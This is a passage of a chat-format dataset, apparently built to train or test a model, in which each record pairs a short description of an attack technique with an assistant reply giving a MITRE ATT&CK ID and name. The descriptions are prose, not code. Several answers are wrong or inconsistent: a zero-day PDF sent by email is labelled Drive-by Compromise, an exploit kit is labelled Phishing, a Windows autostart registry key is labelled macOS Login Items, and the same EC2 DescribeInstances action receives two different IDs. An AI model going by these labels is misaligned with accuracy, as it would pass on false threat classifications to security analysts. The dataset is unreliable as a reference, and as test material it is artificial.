            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies sensitive data to a cloud storage bucket using an unsecured protocol, bypassing normal C2 channels."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware persisted by altering file attributes, making a backdoor executable hidden and immutable using the chattr command on Linux."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and macOS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses long-polling HTTP requests to maintain a low-bandwidth command channel."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Python payload was executed via a scheduled task to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged compromised credentials to edit the Default Domain Policy GPO, enabling the addition of a new scheduled task that runs a malicious script at system startup."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor uses public WHOIS services to retrieve the creation and expiration dates of the target's website."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary includes a loop that runs idle cycles for a set period, causing it to exceed the time limits of dynamic analysis tools."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing malware executed the AWS CLI command \"aws ec2 describe-instances\" to discover running instances across regions."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform web searches for the organization’s name combined with keywords such as 'login' or 'admin' to find vulnerable interfaces."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a default admin password to open a new cloud account on a public cloud service."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators of the RAT cleaned the binary of any static fingerprints, such as compiler version and build date, to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the 'Set-ACL' PowerShell cmdlet on a macOS machine to grant full control to a malicious user on the /var/log directory, allowing tampering with log files."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and macOS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged the System Binary Proxy Execution technique by abusing cmstp to download and execute a remote payload."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs proxying through a third‑party domain, abusing the mismatch between the TLS Server Name Indication (SNI) and the HTTP Host header to bypass network defenses."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the token's SIDHistory to include the BUILTIN\\Administrators SID, achieving system-level access."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers a scheduled task that periodically runs a command to sync and archive the user’s mail directory."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies sensitive CSV files from the company's Snowflake external stage located in cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts spearphishing by sending personalized messages with a malicious URL leading to a credential harvesting service."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python payload uses the shutil.make_archive function to generate a zip archive of extracted database dumps on the target."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs binary patching on a system utility to embed malicious functionality."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query the victim's DNS records to enumerate domain names, subdomains, and associated IP addresses for later use in the campaign."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors renamed the trusted explorer.exe process to 'browser.exe' and launched their payload under the trusted name."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample creates a tar.gz archive of stolen credentials on the victim's Linux host using the tar command with gzip compression."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting insecure cookie attributes, the adversary steals the session cookie and hijacks the user's account."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Windows Registry to dump credentials from HKLM\\Security and sends them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary sets up a chain of compromised web servers to relay malicious traffic, using each server as a proxy to hide the origin of the command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF is sent via email and exploits a zero‑day vulnerability when opened."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware dropper creates a local account named \"recovery\" to maintain control after encryption."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deploys ransomware that overwrites files with random data, causing irreversible data loss."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a .chm payload and leverages the built‑in mshta.exe utility to run embedded code, exemplifying System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload triggers a malicious library that reads securityd’s memory for passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed encrypted malicious binaries within harmless-looking .docx files, extracting them during macro execution."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a malicious PowerShell script that downloads a second-stage payload from a compromised web server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the System and Archive attributes of dropper files on a compromised host to conceal their presence from routine file scans."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro decodes a hex-encoded string to reconstruct the final executable payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captured session cookies for Azure portals, allowing the attacker to impersonate the user."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deploys a rogue transport agent on the SMTP server to exfiltrate data embedded in email headers."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant opens an encrypted SSH tunnel to transfer encrypted ransom notes."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary installed a kernel-mode rootkit that hides its files and processes from the operating system."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a hijacked domain’s FTP service to stage exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor drops a .exe named 'SystemIdleProcess.exe' in the startup folder to execute unauthorized code."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the threat actor delivers a plaintext payload that is then compiled on the compromised host to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user account adds a path like C:\\Program Files\\Malware to the system PATH without quotes; when the victim runs \"cmd.exe\", Windows searches the unquoted path and runs the attacker’s payload instead of the legitimate executable."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack leverages SetWindowSubclass to inject code into a target process via its extra window memory."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor changes the domain's account lockout threshold to a high number, reducing lockout effectiveness."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts saved credentials from the Windows Credential Manager after privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable version of the Linux \"glibc\" library to perform a heap overflow and gain root access."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an insider with authorized access intentionally exfiltrates sensitive information by exploiting weaknesses in data classification policies."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated tool performs a TLS handshake downgrade, forcing the victim's browser to use an insecure protocol that the attacker can read and alter."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is disguised as \"setup.pdf.vbs\" to appear as a legitimate PDF document."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker inserts a malicious DLL path into the AppInit_DLLs registry key to achieve code injection on system startup."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group sends a crafted message with a link to a counterfeit Office 365 login page, aiming to collect user credentials after the victim clicks the URL."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses WMI to invoke a Visual Basic Script that modifies registry keys to disable security tools."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the DNS server’s DHCP option 6 to force clients to use a malicious DNS resolver under attacker control."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code deletes entries from the Windows registry that store network connection details and clears recent connection caches."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages an exploit kit to identify and exploit known vulnerabilities in software applications on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email campaign includes a link to a compromised web service that mimics a legitimate site, tricking users into providing sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query open technical repositories, such as public PKI databases, to discover digital certificates that can be used for impersonation."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafts a spearphishing email with an attached .xlsx file containing a malicious macro that steals credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan periodically calls gethostbyname() to resolve the command‑and‑control server's hostname."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the 'InstalledApps' API on Android devices to compile a list of installed applications."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a malicious Outlook form and sets it to run automatically when Outlook starts, allowing code execution."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans for .env files in source code repositories and extracts hard‑coded API keys and passwords."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scrape publicly available certificate repositories to collect certificate details for potential misuse."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage compromised AWS Lambda functions to perform illicit mining, inflating the victim's cloud costs."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs a file shredder utility to permanently erase indicators of compromise from the file system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By examining the SAM database backup, the threat actor infers the system's minimum password length and lockout thresholds."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves editing the startup script to add \"-n\" flag to auditd, disabling its daemon on boot."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the autostart registry key to include a malicious executable that runs at user login."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a boot‑or‑logon autostart execution technique by modifying the BootExecute registry value to run a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor retrieves a custom ransomware payload from a compromised third‑party server and stages it for deployment on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates accessible cloud resources by querying the AWS EC2 DescribeInstances API to list virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is named \"kernel32.dll\" and placed in a user-writable directory, hoping a vulnerable application will load it instead of the legitimate system library."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email pretends to be from the company's legal department, requesting employees to send signed NDA documents along with their personal identification numbers."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user updates a shared image file on a team SharePoint site, embedding a malicious payload that executes when the image is previewed."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor reads sensitive data from the local file system and stores it temporarily on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
